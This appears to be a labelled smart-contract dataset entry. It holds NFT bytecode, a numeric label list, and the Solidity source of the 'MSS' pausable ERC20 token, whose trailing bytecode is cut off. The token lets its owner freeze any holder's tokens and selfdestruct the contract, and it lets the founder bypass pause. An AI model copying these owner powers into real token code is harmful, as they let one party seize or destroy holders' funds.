190815260200160002060008381526020019081526020016000205490507ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb567600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16848484604051611bcf9493929190612c75565b60405180910390a18273ffffffffffffffffffffffffffffffffffffffff166323b872dd30600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b8152600401611c8493929190612c3e565b600060405180830381600087803b158015611c9e57600080fd5b505af1158015611cb2573d6000803e3d6000fd5b505050506000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008481526020019081526020016000208190555060008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848152602001908152602001600020819055506000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550611e5f8360055483611e599190613030565b34612259565b505050565b8473ffffffffffffffffffffffffffffffffffffffff16600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3990612dbd565b60405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631ccdef5084876040518363ffffffff1660e01b8152600401611f9f929190612b45565b600060405180830381600087803b158015611fb957600080fd5b505af1158015611fcd573d6000803e3d6000fd5b5050505083600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008481526020019081526020016000208190555042600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008481526020019081526020016000208190555060008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008481526020019081526020016000208190555060006005548261216f9190613030565b905060008160026121809190613061565b8361218b91906130bb565b905060008773ffffffffffffffffffffffffffffffffffffffff16826040516121b390612b15565b60006040518083038185875af1925050503d80600081146121f0576040519150601f19603f3d011682016040523d82523d6000602084013e6121f5565b606091505b5050905080612239576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223090612d5d565b60405180910390fd5b61224f8684843461224a91906130bb565b612259565b5050505050505050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630e2ccc78856040518263ffffffff1660e01b81526004016122b69190612b2a565b60206040518083038186803b1580156122ce57600080fd5b505afa1580156122e2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612306919061265e565b905060008173ffffffffffffffffffffffffffffffffffffffff168460405161232e90612b15565b60006040518083038185875af1925050503d806000811461236b576040519150601f19603f3d011682016040523d82523d6000602084013e612370565b606091505b50509050600081612381578361238e565b848461238d91906130bb565b5b90506000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16826040516123d890612b15565b60006040518083038185875af1925050503d8060008114612415576040519150601f19603f3d011682016040523d82523d6000602084013e61241a565b606091505b505090508061245e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245590612e9d565b60405180910390fd5b50505050505050565b6040518060a00160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600081526020016000815260200160008152602001600081525090565b60006124bf6124ba84612f1d565b612ef8565b905080838252602082019050828560408602820111156124e2576124e16132de565b5b60005b8581101561251257816124f888826125e4565b8452602084019350604083019250506001810190506124e5565b5050509392505050565b600061252f61252a84612f49565b612ef8565b90508281526020810184848401111561254b5761254a6132e3565b5b61255684828561316b565b509392505050565b60008135905061256d816135fc565b92915050565b600081519050612582816135fc565b92915050565b600082601f83011261259d5761259c6132d4565b5b81516125ad8482602086016124ac565b91505092915050565b600082601f8301126125cb576125ca6132d4565b5b81516125db84826020860161251c565b91505092915050565b6000604082840312156125fa576125f96132d9565b5b6126046040612ef8565b9050600061261484828501612573565b600083015250602061262884828501612649565b60208301525092915050565b60008135905061264381613613565b92915050565b60008151905061265881613613565b92915050565b600060208284031215612674576126736132ed565b5b600061268284828501612573565b91505092915050565b600080604083850312156126a2576126a16132ed565b5b60006126b08582860161255e565b92505060206126c185828601612634565b9150509250929050565b6000806000606084860312156126e4576126e36132ed565b5b60006126f28682870161255e565b935050602061270386828701612634565b925050604061271486828701612634565b9150509250925092565b600060208284031215612734576127336132ed565b5b600082015167ffffffffffffffff811115612752576127516132e8565b5b61275e84828501612588565b91505092915050565b60006020828403121561277d5761277c6132ed565b5b600082015167ffffffffffffffff81111561279b5761279a6132e8565b5b6127a7848285016125b6565b91505092915050565b6000602082840312156127c6576127c56132ed565b5b60006127d484828501612649565b91505092915050565b60006127e98383612a8f565b60a08301905092915050565b6127fe816130ef565b82525050565b61280d816130ef565b82525050565b600061281e82612f8a565b6128288185612fad565b935061283383612f7a565b8060005b8381101561286457815161284b88826127dd565b975061285683612fa0565b925050600181019050612837565b5085935050505092915050565b61287a81613135565b82525050565b61288981613101565b82525050565b600061289a82612f95565b6128a48185612fc9565b93506128b481856020860161316b565b6128bd816132f2565b840191505092915050565b60006128d5601983612fc9565b91506128e082613303565b602082019050919050565b60006128f8601883612fc9565b91506129038261332c565b602082019050919050565b600061291b602e83612fc9565b915061292682613355565b604082019050919050565b600061293e601483612fc9565b9150612949826133a4565b602082019050919050565b6000612961603683612fc9565b915061296c826133cd565b604082019050919050565b6000612984602e83612fc9565b915061298f8261341c565b604082019050919050565b60006129a7601383612fc9565b91506129b28261346b565b602082019050919050565b60006129ca602183612fc9565b91506129d582613494565b604082019050919050565b60006129ed600083612fbe565b91506129f8826134e3565b600082019050919050565b6000612a10603583612fc9565b9150612a1b826134e6565b604082019050919050565b6000612a33603d83612fc9565b9150612a3e82613535565b604082019050919050565b6000612a56601d83612fc9565b9150612a6182613584565b602082019050919050565b6000612a79603983612fc9565b9150612a84826135ad565b604082019050919050565b60a082016000820151612aa560008501826127f5565b506020820151612ab86020850182612af7565b506040820151612acb6040850182612af7565b506060820151612ade6060850182612af7565b506080820151612af16080850182612af7565b50505050565b612b008161312b565b82525050565b612b0f8161312b565b82525050565b6000612b20826129e0565b9150819050919050565b6000602082019050612b3f6000830184612804565b92915050565b6000604082019050612b5a6000830185612804565b612b676020830184612804565b9392505050565b600060c082019050612b836000830189612804565b612b906020830188612804565b612b9d6040830187612804565b612baa6060830186612b06565b612bb76080830185612b06565b612bc460a0830184612b06565b979650505050505050565b600060e082019050612be4600083018a612804565b612bf16020830189612804565b612bfe6040830188612804565b612c0b6060830187612b06565b612c186080830186612b06565b612c2560a0830185612b06565b612c3260c0830184612b06565b98975050505050505050565b6000606082019050612c536000830186612804565b612c606020830185612804565b612c6d6040830184612b06565b949350505050565b6000608082019050612c8a6000830187612804565b612c976020830186612804565b612ca46040830185612b06565b612cb16060830184612b06565b95945050505050565b6000604082019050612ccf6000830185612804565b612cdc6020830184612b06565b9392505050565b60006020820190508181036000830152612cfd8184612813565b905092915050565b6000602082019050612d1a6000830184612871565b92915050565b6000602082019050612d356000830184612880565b92915050565b60006020820190508181036000830152612d55818461288f565b905092915050565b60006020820190508181036000830152612d76816128c8565b9050919050565b60006020820190508181036000830152612d96816128eb565b9050919050565b60006020820190508181036000830152612db68161290e565b9050919050565b60006020820190508181036000830152612dd681612931565b9050919050565b60006020820190508181036000830152612df681612954565b9050919050565b60006020820190508181036000830152612e1681612977565b9050919050565b60006020820190508181036000830152612e368161299a565b9050919050565b60006020820190508181036000830152612e56816129bd565b9050919050565b60006020820190508181036000830152612e7681612a03565b9050919050565b60006020820190508181036000830152612e9681612a26565b9050919050565b60006020820190508181036000830152612eb681612a49565b9050919050565b60006020820190508181036000830152612ed681612a6c565b9050919050565b6000602082019050612ef26000830184612b06565b92915050565b6000612f02612f13565b9050612f0e828261319e565b919050565b6000604051905090565b600067ffffffffffffffff821115612f3857612f376132a5565b5b602082029050602081019050919050565b600067ffffffffffffffff821115612f6457612f636132a5565b5b612f6d826132f2565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b6000612fe58261312b565b9150612ff08361312b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561302557613024613218565b5b828201905092915050565b600061303b8261312b565b91506130468361312b565b92508261305657613055613247565b5b828204905092915050565b600061306c8261312b565b91506130778361312b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130b0576130af613218565b5b828202905092915050565b60006130c68261312b565b91506130d18361312b565b9250828210156130e4576130e3613218565b5b828203905092915050565b60006130fa8261310b565b9050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061314082613147565b9050919050565b600061315282613159565b9050919050565b60006131648261310b565b9050919050565b60005b8381101561318957808201518184015260208101905061316e565b83811115613198576000848401525b50505050565b6131a7826132f2565b810181811067ffffffffffffffff821117156131c6576131c56132a5565b5b80604052505050565b60006131da8261312b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561320d5761320c613218565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f5472616e7366657220746f206f776e6572206661696c65642e00000000000000600082015250565b7f4d757374207061792066656520746f2077697468647261770000000000000000600082015250565b7f4e465420776173206e6f7420796574207075726368617365642077697468696e60008201527f20446f75626c6554726f75626c65000000000000000000000000000000000000602082015250565b7f6f6c64206f776e6572206d757374206d61746368000000000000000000000000600082015250565b7f6d73672e73656e6465722073686f756c6420626520617070726f766564206f7260008201527f206f776e6572206f66206f726967696e616c204e465400000000000000000000602082015250565b7f56616c75652073656e74206d757374206265206174206c65617374207468652060008201527f666f722073616c65207072696365000000000000000000000000000000000000602082015250565b7f4e4654206973206e6f7420666f722073616c6500000000000000000000000000600082015250565b7f6d73672e73656e6465722073686f756c64206265206f776e6572206f66204e4660008201527f5400000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f4e4654206e6f742079657420617661696c61626c6520746f207769746864726160008201527f772066726f6d20446f75626c652054726f75626c650000000000000000000000602082015250565b7f446f75626c6554726f75626c6520636f6e7472616374206d757374206265206160008201527f7070726f76656420746f206f706572617465207468697320746f6b656e000000602082015250565b7f5472616e7366657220746f2044542077616c6c6574206661696c65642e000000600082015250565b7f56616c75652073656e74206d757374206265206174206c65617374207477696360008201527f6520746865206c61737420707572636861736520707269636500000000000000602082015250565b613605816130ef565b811461361057600080fd5b50565b61361c8161312b565b811461362757600080fd5b5056fea264697066735822122059ecafa36a86f4a703066d5b8d284d1019f8e314353e46fca631278e1ca4301064736f6c63430008070033
[ 7, 4, 3, 11, 12, 5 ]
0xf2d2e6cb89742db333edba18789a1d35fd12c0f2
pragma solidity 0.5.11; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balanceOf(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(allowed[_from][msg.sender] >= _value); require(balanceOf(_from) >= _value); require(balances[_to].add(_value) > balances[_to]); // Check for overflows balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is StandardToken { event Pause(); event Unpause(); bool public paused = false; address public founder; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused || msg.sender == founder); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract PausableToken is Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } //The functions below surve no real purpose. Even if one were to approve another to spend //tokens on their behalf, those tokens will still only be transferable when the token contract //is not paused. function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract MSS is PausableToken { string public name; string public symbol; uint8 public decimals; /** * @dev Constructor that gives the founder all of the existing tokens. */ constructor() public { name = "Media Stream Service"; symbol = "MSS"; decimals = 18; totalSupply = 200000000*1000000000000000000; founder = msg.sender; balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } /** @dev Fires on every freeze of tokens * @param _owner address The owner address of frozen tokens. * @param amount uint256 The amount of tokens frozen */ event TokenFreezeEvent(address indexed _owner, uint256 amount); /** @dev Fires on every unfreeze of tokens * @param _owner address The owner address of unfrozen tokens. * @param amount uint256 The amount of tokens unfrozen */ event TokenUnfreezeEvent(address indexed _owner, uint256 amount); event TokensBurned(address indexed _owner, uint256 _tokens); mapping(address => uint256) internal frozenTokenBalances; function freezeTokens(address _owner, uint256 _value) public onlyOwner { require(_value <= balanceOf(_owner)); uint256 oldFrozenBalance = getFrozenBalance(_owner); uint256 newFrozenBalance = oldFrozenBalance.add(_value); setFrozenBalance(_owner,newFrozenBalance); emit TokenFreezeEvent(_owner,_value); } function unfreezeTokens(address _owner, uint256 _value) public onlyOwner { require(_value <= getFrozenBalance(_owner)); uint256 oldFrozenBalance = getFrozenBalance(_owner); uint256 newFrozenBalance = oldFrozenBalance.sub(_value); setFrozenBalance(_owner,newFrozenBalance); emit TokenUnfreezeEvent(_owner,_value); } function setFrozenBalance(address _owner, uint256 _newValue) internal { frozenTokenBalances[_owner]=_newValue; } function balanceOf(address _owner) view public returns(uint256) { return getTotalBalance(_owner).sub(getFrozenBalance(_owner)); } function getTotalBalance(address _owner) view public returns(uint256) { return balances[_owner]; } /** * @dev Gets the amount of tokens which belong to the specified address BUT are frozen now. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount of frozen tokens owned by the passed address. */ function getFrozenBalance(address _owner) view public returns(uint256) { return frozenTokenBalances[_owner]; } /* * @dev Token burn function * @param _tokens uint256 amount of tokens to burn */ function burnTokens(uint256 _tokens) public onlyOwner { require(balanceOf(msg.sender) >= _tokens); balances[msg.sender] = balances[msg.sender].sub(_tokens); totalSupply = totalSupply.sub(_tokens); emit TokensBurned(msg.sender, _tokens); } function destroy(address payable _benefitiary) external onlyOwner{ selfdestruct(_benefitiary); } }
0x608060405234801561001057600080fd5b506004361061014c5760003560e01c806370a08231116100c3578063a9059cbb1161007c578063a9059cbb14610625578063d3d381931461068b578063d73dd623146106e3578063dd62ed3e14610749578063e9b2f0ad146107c1578063f2fde38b1461080f5761014c565b806370a08231146104505780638456cb59146104a85780638da5cb5b146104b257806395d89b41146104fc5780639f2cfaf11461057f578063a4df6c6a146105d75761014c565b8063313ce56711610115578063313ce567146103225780633f4ba83a146103465780634d853ee5146103505780635c975abb1461039a57806366188463146103bc5780636d1b229d146104225761014c565b8062f55d9d1461015157806306fdde0314610195578063095ea7b31461021857806318160ddd1461027e57806323b872dd1461029c575b600080fd5b6101936004803603602081101561016757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610853565b005b61019d6108c6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101dd5780820151818401526020810190506101c2565b50505050905090810190601f16801561020a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102646004803603604081101561022e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610964565b604051808215151515815260200191505060405180910390f35b6102866109ea565b6040518082815260200191505060405180910390f35b610308600480360360608110156102b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109f0565b604051808215151515815260200191505060405180910390f35b61032a610a78565b604051808260ff1660ff16815260200191505060405180910390f35b61034e610a8b565b005b610358610b47565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103a2610b6d565b604051808215151515815260200191505060405180910390f35b610408600480360360408110156103d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b80565b604051808215151515815260200191505060405180910390f35b61044e6004803603602081101561043857600080fd5b8101908080359060200190929190505050610c06565b005b6104926004803603602081101561046657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d76565b6040518082815260200191505060405180910390f35b6104b0610da2565b005b6104ba610eb7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610504610edd565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610544578082015181840152602081019050610529565b50505050905090810190601f1680156105715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105c16004803603602081101561059557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7b565b6040518082815260200191505060405180910390f35b610623600480360360408110156105ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fc4565b005b6106716004803603604081101561063b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110b5565b604051808215151515815260200191505060405180910390f35b6106cd600480360360208110156106a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113b565b6040518082815260200191505060405180910390f35b61072f600480360360408110156106f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611184565b604051808215151515815260200191505060405180910390f35b6107ab6004803603604081101561075f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061120a565b6040518082815260200191505060405180910390f35b61080d600480360360408110156107d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611291565b005b6108516004803603602081101561082557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611382565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16ff5b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561095c5780601f106109315761010080835404028352916020019161095c565b820191906000526020600020905b81548152906001019060200180831161093f57829003601f168201915b505050505081565b6000600460009054906101000a900460ff1615806109cf5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6109d857600080fd5b6109e283836114d6565b905092915050565b60005481565b6000600460009054906101000a900460ff161580610a5b5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a6457600080fd5b610a6f84848461165b565b90509392505050565b600760009054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ae557600080fd5b600460009054906101000a900460ff16610afe57600080fd5b6000600460006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900460ff1681565b6000600460009054906101000a900460ff161580610beb5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610bf457600080fd5b610bfe8383611a79565b905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c6057600080fd5b80610c6a33610d76565b1015610c7557600080fd5b610cc781600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d1f81600054611d0a90919063ffffffff16565b6000819055503373ffffffffffffffffffffffffffffffffffffffff167ffd38818f5291bf0bb3a2a48aadc06ba8757865d1dabd804585338aab3009dcb6826040518082815260200191505060405180910390a250565b6000610d9b610d8483610f7b565b610d8d8461113b565b611d0a90919063ffffffff16565b9050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610dfc57600080fd5b600460009054906101000a900460ff161580610e655750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e6e57600080fd5b6001600460006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f735780601f10610f4857610100808354040283529160200191610f73565b820191906000526020600020905b815481529060010190602001808311610f5657829003601f168201915b505050505081565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461101e57600080fd5b61102782610d76565b81111561103357600080fd5b600061103e83610f7b565b905060006110558383611d2190919063ffffffff16565b90506110618482611d3d565b8373ffffffffffffffffffffffffffffffffffffffff167f2303912415a23c08c0cbb3a0b2b2813870ad5a2fd7b18c6d9da7d0086d9c188e846040518082815260200191505060405180910390a250505050565b6000600460009054906101000a900460ff1615806111205750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61112957600080fd5b6111338383611d85565b905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600460009054906101000a900460ff1615806111ef5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6111f857600080fd5b6112028383611f6e565b905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112eb57600080fd5b6112f482610f7b565b81111561130057600080fd5b600061130b83610f7b565b905060006113228383611d0a90919063ffffffff16565b905061132e8482611d3d565b8373ffffffffffffffffffffffffffffffffffffffff167f25f6369ffb8611a066eafc897e56f4f4d2b8fc713cca586bd93e9b1af04a6cc0846040518082815260200191505060405180910390a250505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113dc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561141657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffff